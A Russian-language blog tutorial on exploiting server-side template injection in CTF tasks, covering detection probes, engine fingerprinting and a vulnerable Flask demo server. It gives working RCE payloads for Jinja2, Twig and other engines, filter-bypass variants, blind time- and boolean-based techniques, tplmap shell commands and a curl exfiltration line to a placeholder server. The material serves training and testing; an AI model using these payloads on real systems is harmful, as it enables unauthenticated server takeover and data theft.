Главная / Блог / Server-Side Template Injection (SSTI) в CTF: от {{7*7}} до выполнения команд на сервере

13 мин.00

Server-Side Template Injection (SSTI) в CTF: от {{7*7}} до выполнения команд на сервере

Server-Side Template Injection (SSTI) в CTF: от {{7*7}} до выполнения команд на сервере

Server-Side Template Injection (SSTI) в CTF: от {{7*7}} до выполнения команд на сервере

На одном из недавних CTF-марафонов три задания за вечер оказались SSTI в разных шаблонизаторах. Первое заняло четыре минуты: {{7*7}} в GET-параметре вернул 49 — стандартная цепочка через MRO до os.popen, флаг в /flag.txt. Второе — сорок минут: WAF резал точки, подчёркивания и квадратные скобки, пришлось строить payload на hex-кодировании и фильтре attr(). Третье — два с лишним часа: blind injection через {% if %} без вывода в ответе, побайтовая эксфильтрация через .startswith().

Разница между четырьмя минутами и двумя часами — не в сложности уязвимости. Она в понимании внутренней механики шаблонизатора и умении адаптироваться, когда стандартные payload не проходят. Разберём весь путь — от первого подозрительного отражения ввода до полноценного RCE.

SSTI в цепочке атаки: от инъекции шаблонов до флага

Server-side template injection — уязвимость класса инъекций: пользовательский ввод попадает в серверный шаблон и интерпретируется движком (Jinja2, Twig, Mako, FreeMarker) как код, а не как данные. По классификации OWASP — A03:2021 Injection. Подробнее — в нашем обзоре пентест веб-приложений.

В терминах MITRE ATT&CK эксплуатация SSTI укладывается в конкретную цепочку:

  1. Exploit Public-Facing Application (T1190, Initial Access) — атакующий находит параметр, где ввод попадает в шаблон без санитизации
  2. Command and Scripting Interpreter (T1059, Execution) — через механизмы шаблонизатора выполняется произвольный код: Python (T1059.006) для Jinja2/Mako, Unix Shell (T1059.004) через os.popen или passthru
  3. File and Directory Discovery (T1083) / System Information Discovery (T1082) — чтение флага, /etc/passwd, переменных окружения
  4. При длительной эксплуатации на реальном пентесте — Web Shell (T1505.003, Persistence)

В CTF обычно интересуют шаги 1-3: найти точку инъекции, определить движок, построить payload до RCE, прочитать флаг. На реальном внешнем пентесте всё серьёзнее: SSTI на периметре — это RCE без аутентификации и полный контроль над сервером. На внутреннем пентесте SSTI чаще всплывает в CMS-системах, wiki-движках и маркетинговых платформах, где пользователям дают редактировать шаблоны (и зря).

Основные целевые стеки — Flask/Jinja2 (Python), Symfony/Twig (PHP), Spring/FreeMarker (Java).

Обнаружение SSTI: первые запросы решают

Требования к окружению

Перед тем как тестировать — нужен стенд:

  • ОС: Kali Linux, Ubuntu 20.04+, macOS — любая с Python/PHP
  • Python: 3.8+ и Flask (pip install 'flask>=2.3.2'), минимум 256 МБ RAM. Старые версии Flask (до 1.0) содержат известные DoS-уязвимости (GHSA-562c-5r94-xh97, GHSA-5wv5-4vpf-pj6m) — берите 2.3.2+
  • PHP: 7.4+ с Twig (для PHP-стека)
  • Burp Suite: Community или Pro — перехват и модификация запросов
  • tplmap: клонируется с GitHub, работает на Python 2/3
  • Сеть: online не обязателен, всё крутится локально

Минимальный уязвимый Flask-сервер для отработки:

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'World')
    return render_template_string(f'Hello {name}!')

if __name__ == "__main__":
    app.run(debug=True)

Уязвимость — в конкатенации пользовательского ввода name прямо в строку шаблона через f-string перед передачей в render_template_string. Безопасный вариант — передача name как параметра данных: render_template_string('Hello {{name}}!', name=name). Казалось бы, очевидная ошибка, но в реальных проектах на Flask такое встречается регулярно.

Первая проверка — математическое выражение. Отправляем ?name={{7*7}}. Если в ответе Hello 49! вместо Hello {{7*7}}! — шаблонизатор интерпретировал выражение. SSTI подтверждена.

Если прямая подстановка не сработала — фаззим с набором разделителей разных движков: ${{<%%'"}}%\. Согласно [OWASP Web Security Testing Guide, тестовые выражения должны покрывать синтаксис основных шаблонизаторов: {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, {7*7}.

Два контекста, где возникает SSTI:

  • Plaintext context — ввод отображается как текст страницы. Тестируем {{7*7}} напрямую в параметре
  • Code context — ввод попадает внутрь существующего шаблонного выражения. Если шаблон содержит Hello {{username}} и мы контролируем username, пробуем }}{{7*7}} для «выхода» из переменной

Реакция приложения подсказывает следующий шаг. 49 в ответе — подтверждённая SSTI. Текст {{7*7}} без интерпретации — шаблонизатор не обрабатывает ввод, ищите другой вектор. Ошибка 500 с traceback — движок попытался обработать выражение и упал. Это тоже потенциальная SSTI, просто payload кривой.

Идентификация шаблонизатора: какой движок перед нами

После подтверждения инъекции нужно определить конкретный шаблонизатор — от этого зависит весь дальнейший путь к RCE. По методологии PortSwigger Research, идентификация строится на серии зондирующих выражений с разным поведением в разных движках.

Ключевой probe — {{7*'7'}}. Jinja2 умножит строку на число и вернёт 7777777. Twig приведёт строку к числу и вернёт 49. Один запрос — и два самых частых движка в CTF разграничены.

Probe Результат Вероятный движок
{{7*'7'}} 7777777 Jinja2 (Python)
{{7*'7'}} 49 Twig (PHP)
${7*7} 49 Mako, FreeMarker, Groovy
<%= 7*7 %> 49 ERB (Ruby)
#{7*7} 49 Slim, Pug
{{7*7}} traceback Python Jinja2 (ошибка в payload)
{{7*7}} упоминание Twig Twig (ошибка в payload)

Дополнительные подсказки: заголовок X-Powered-By: PHP в ответе сужает выбор до Twig/Smarty/Blade. Расширения файлов в URL (.html.j2, .twig) — прямое указание. Python traceback в ошибках — Jinja2 или Mako. Если доступен исходный код задания (в CTF часто прилагается Dockerfile или requirements.txt) — смотрите зависимости, там всё написано.

Jinja2 SSTI exploit: цепочка от арифметики до удалённого выполнения кода

Jinja2 — дефолтный шаблонизатор Flask и самый частый движок в CTF-заданиях категории web. После того как {{7*7}} вернул 49, нужно пройти путь от арифметики до вызова системных команд.

MRO и навигация по дереву классов Python

Jinja2 исполняет Python-выражения внутри {{ }}, но прямой import os недоступен — шаблонизатор этого не позволяет. Задача — добраться до нужных модулей через иерархию наследования Python.

Method Resolution Order (MRO) — порядок, в котором Python ищет метод в иерархии классов. Каждый объект наследуется от базового object, а через __subclasses__() можно получить список всех потомков — включая классы с доступом к os, subprocess и файловой системе. По сути, мы лезем по дереву наследования вверх до корня, а потом спускаемся по нужной ветке.

Цепочка навигации:

  1. Берём произвольный объект: пустую строку '', список [] или объект request (доступен в контексте Flask)
  2. Поднимаемся к базовому классу: ''.__class__.__mro__[1] возвращает <class 'object'>. Альтернатива — ''.__class__.__base__ (результат тот же, но без индекса)
  3. Получаем все подклассы: ''.__class__.__mro__[1].__subclasses__() возвращает список из сотен классов
  4. Ищем класс с доступом к системным вызовам

Отправляем {{''.__class__.__mro__[1].__subclasses__()}} и изучаем вывод — это массив всех классов, доступных интерпретатору. Нужно найти индекс os._wrap_close — у него есть __init__.__globals__['popen'], что даёт прямой вызов системных команд.

SSTI RCE payload для Flask и Jinja2

Индекс _wrap_close нестабилен — зависит от версии Python и загруженных модулей, скачет от ~130 до ~250+. Находим вручную: ищем в выводе __subclasses__() строку _wrap_close (Ctrl+F в браузере или grep в скрипте) и строим payload:

{{''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['popen']('id').read()}}

Где N — найденный индекс. При верном значении получаем вывод id: uid=1000(flask) gid=1000(flask).

Более стабильный путь — через объект request, доступный в контексте Flask по умолчанию. Этот payload не зависит от индексов подклассов:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

request.application даёт доступ к WSGI-приложению, __globals__ — к глобальному пространству имён модуля, __builtins__ — к встроенным функциям Python, включая __import__. Дальше стандартный os.popen('command').read().

Его преимущество — возможность строить команды без кавычек, используя срезы строкового представления __globals__: self.__init__.__globals__.__str__()[1786:1788] может дать нужную подстроку (позиции зависят от среды). Это критично при фильтрации кавычек.

Помимо RCE, полезно знать payload для чтения конфигурации Flask: {{config}} выводит SECRET_KEY и другие настройки приложения — пригодится для подделки сессионных cookie.

Когда техника НЕ работает: - SandboxedEnvironment в Jinja2 — блокирует доступ к приватным атрибутам (__class__, __mro__, __subclasses__) - WAF фильтрует двойное подчёркивание __ или точку . - Приложение использует autoescape=True и отдаёт результат как HTML — payload экранируется (но SSTI всё равно выполнится на сервере, просто вывод будет закодирован)

Twig template injection: эксплуатация в PHP-стеке

Twig — шаблонизатор для PHP, стандартный в Symfony. Если {{7*'7'}} вернул 49 (а не 7777777) — перед нами Twig.

В Twig нет иерархии классов Python, но есть свои пути к RCE. Для Twig 1.x работает классический payload через _self.env:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Для Twig 2.x/3.x (без sandbox) — фильтр map с PHP-функцией:

{{["id"]|map("system")|join}}

Или через passthru:

{{["id"]|map("passthru")}}

CVE-2022-23614 и обход sandbox в Twig

Twig поддерживает режим sandbox для изоляции пользовательских шаблонов. По спецификации arrow должен принимать только замыкания (Closure), но до патча проверка не выполнялась корректно — атакующий мог передать произвольную PHP-функцию. CWE-74 (Improper Neutralization of Special Elements in Output) и CWE-94 (Improper Control of Generation of Code).

Затронутые версии: twig/twig начиная с 2.0.0, исправлено в 2.14.11 и 3.3.8. Публичный PoC доступен в GitHub-репозитории davwwwx/CVE-2022-23614 (не зарегистрирован в Exploit-DB). Debian выпустил DSA-5107-1 для bullseye (php-twig 2.14.3-1+deb11u1), Ubuntu — USN-5947-1.

В CTF CVE-2022-23614 встречается в заданиях, где шаблон работает в sandbox — при попытке стандартного payload получаем «Calling a non Closure in sort filter is not allowed». Если версия Twig не пропатчена — фильтр sort с arrow параметром обходит ограничение. Проверяйте версию первым делом.

Для заданий без sandbox, но с фильтрацией кавычек, исследователи YesWeHack предложили payload через блоки Twig и встроенную переменную _charset:

{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

Этот payload собирает строку id и имя функции passthru без единой кавычки, используя только встроенные механизмы шаблонизатора. Красиво, если вдуматься.

Другие движки: Mako, Smarty, FreeMarker

В CTF иногда встречаются менее популярные шаблонизаторы. Краткая карта payload по данным YesWeHack research:

Движок Язык RCE-payload (без кавычек)
Mako Python ${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
Smarty PHP {{passthru(implode(Null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
Blade PHP {{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
Groovy Java ${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text}

Принцип один: все payload строят строку id из ASCII-кодов (105='i', 100='d') через chr(), чтобы обойти фильтрацию кавычек, и передают её в функцию системного вызова. Для Mako — os.popen, для PHP-движков — passthru или system, для Groovy — метод execute() строки.

FreeMarker (Java) оказался самым сложным для бескавычечной эксплуатации в исследовании YesWeHack — стандартными средствами собрать строку без кавычек не удалось. Если в CTF встретился FreeMarker без фильтрации кавычек — работает ${"freemarker.template.utility.Execute"?new()("id")}.

Обход фильтров: template injection в условиях WAF

В CTF задание с «голой» SSTI без фильтрации — редкость на любых соревнованиях выше начального уровня. Разберём основные обходы для Jinja2, потому что этот движок фильтруют чаще всего.

Обход блокировки спецсимволов

Блокировка точки (.): переходим на скобочную нотацию. Вместо request.application.__globals__ пишем request['application']['__globals__']. Квадратные скобки эквивалентны обращению через точку для атрибутов и ключей словарей.

Блокировка точки и подчёркивания (_): hex-кодирование \x5f заменяет каждое подчёркивание. Payload превращается в request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']().

Блокировка точки, подчёркивания и квадратных скобок: фильтр attr() заменяет обращение к атрибутам без точек и скобок. Payload из PayloadsAllTheThings:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Три механизма доступа заменены на attr() и \x5f. Ни одной точки, ни одного подчёркивания в явном виде, ни одной квадратной скобки — а RCE на месте.

SSTI без двойных фигурных скобок

Если фильтруются {{ }} — это не конец. Jinja2 поддерживает {% %} для управляющих конструкций. Через {% if %} можно выполнять команды по аналогии с blind SQL injection:

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}

Ответ задержался на 5 секунд — команда выполнилась. Вывод эксфильтруется через сравнение (подробнее ниже).

Ограничение: Jinja2 поддерживает опциональные line statements через line_statement_prefix (например, # в начале строки как альтернатива {% %}), но эта опция должна быть явно включена на стороне сервера. В дефолтной конфигурации Flask она недоступна — не тратьте время на этот вектор, если не видели конфиг приложения. Строковые комментарии {# ... #} доступны всегда, но для обхода фильтров бесполезны.

Blind SSTI: обнаружение и эксплуатация без вывода

Иногда результат рендеринга шаблона не возвращается клиенту: шаблон генерирует email, PDF, пишет данные в базу. Стандартный {{...}} с отображением результата не работает, нужны слепые техники.

Time-based — самый простой способ подтверждения. Отправляем payload с sleep 5. Ответ задержался на 5 секунд — код выполнился. Работает и через {{}} (если вывод не виден, но шаблон обрабатывается), и через {% if %}.

Out-of-band — эксфильтрация на внешний сервер. Если есть VPS или Burp Collaborator, гоним данные через HTTP: ...popen('curl http://YOUR-SERVER/?d=$(id|base64)').read().... На сервере ловим запрос с выводом команды в параметре.

Boolean-based — побайтовая эксфильтрация через бинарное сравнение. Самый муторный, но иногда единственный вариант. Проверяем, начинается ли вывод команды с конкретного символа:

{% if request.application.__globals__.__builtins__.__import__('os').popen('id').read().startswith('u') %}yes{% endif %}

Если в ответе yes — первый символ вывода id равен u. Итерируем по всем символам, наращивая проверяемый префикс: u, ui, uid и так далее. По данным onsecurity.io, полный Python-скрипт для побайтовой эксфильтрации укладывается в 15 строк — цикл по printable-символам с проверкой .startswith() на каждой итерации. Медленно, но надёжно.

Когда blind SSTI не работает: если ввод сохраняется в базу, но никогда не передаётся в render_template_string (stored input без шаблонного рендеринга), или если sandbox блокирует системные вызовы.

Автоматизация с tplmap

tplmap — инструмент для автоматического обнаружения и эксплуатации SSTI, по концепции аналогичный sqlmap. Поддерживает Jinja2, Mako, Twig, Smarty, FreeMarker, Jade и другие движки. Репозиторий epinna/tplmap на GitHub — обновляется нерегулярно, последний коммит стоит проверить перед использованием.

Базовое использование: python tplmap.py -u 'http://target/?name=test' — инструмент автоматически тестирует параметр name на SSTI во всех поддерживаемых движках. Для интерактивной оболочки: python tplmap.py -u 'http://target/?name=test' --os-shell. Для одиночной команды: python tplmap.py -u 'http://target/?name=test' --os-cmd 'cat /flag.txt'.

Когда использовать Когда НЕ использовать
Быстрая проверка параметра на SSTI Кастомные WAF-фильтры в CTF
Определение движка при неочевидном ответе Blind SSTI без вывода
Эксплуатация стандартной SSTI без фильтров Sandbox с жёсткой политикой
Массовое сканирование параметров Нужен нестандартный payload

tplmap не обходит кастомные фильтры — если WAF режет __, . или {{}}, автоматические payload не пройдут. Нет встроенных time-based или boolean-based режимов для blind SSTI. Для свежих версий шаблонизаторов payload могут требовать адаптации. В CTF с нестандартной фильтрацией ручной подход — основной. tplmap хорош для разведки, но не для финального удара.

Чеклист: SSTI для веб CTF заданий

Пошаговый алгоритм при подозрении на SSTI:

  1. Фаззинг разделителей: отправить ${{<%[%'"}}%\ в каждый пользовательский параметр. Наблюдать за изменениями ответа и кодами ошибок
  2. Подтверждение: {{7*7}}. Результат 49 — SSTI. Ошибка 500 — возможная SSTI, менять синтаксис
  3. Идентификация: {{7*'7'}} — если 7777777, это Jinja2; если 49 — Twig. Если не {{ }} — тестировать ${7*7}, <%= 7*7 %>
  4. Разведка: {{config}} для Jinja2 (SECRET_KEY, DEBUG-режим), {{_self.env}} для Twig
  5. RCE: для Jinja2 — {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}. Для Twig — {{["id"]|map("system")|join}}
  6. Обход фильтров: заменить . на [''], __ на \x5f\x5f, {{ }} на {% if %}
  7. Чтение флага: cat /flag.txt, find / -name flag* 2>/dev/null, env | grep FLAG
  8. Если blind: time-based через sleep 5, OOB через curl на свой сервер, boolean через .startswith()

На бумаге выглядит просто, но SSTI по-настоящему ощущается только когда сам строишь цепочку через MRO и видишь, как payload разваливается от одного лишнего символа в фильтре. Готовый стенд для отработки есть на HackerLab.pro — SSTI-задачи в web-категории встречаются регулярно.

Большинство CTF-игроков, с которыми я общаюсь, подходят к SSTI как к задаче на копирование payload из шпаргалки. Открыл PayloadsAllTheThings, нашёл строку для Jinja2, вставил — и если сработало, задание закрыто. Не сработало — паника и переход к следующему таску. Это работает ровно до момента, когда автор задания добавляет фильтрацию одного символа — и весь арсенал готовых payload рассыпается.

Реальный навык — не в запоминании payload, а в понимании того, почему __class__.__mro__[1].__subclasses__() вообще существует как вектор. Это фундаментальное свойство объектной модели Python — каждый объект через наследование связан с каждым другим. Когда понимаешь это, обход любого фильтра становится задачей на рекомбинацию, а не на поиск готового ответа. То же с Twig: фильтр map работает потому, что Twig вызывает callable — и если знаешь, какие callable доступны в PHP, ты не зависишь от чужих payload. Я видел людей, которые решают SSTI-таски за две минуты на любом движке — и каждый из них в какой-то момент потратил время на то, чтобы разобрать механику, а не зазубрить строку. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят с лабой на каждый кейс.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...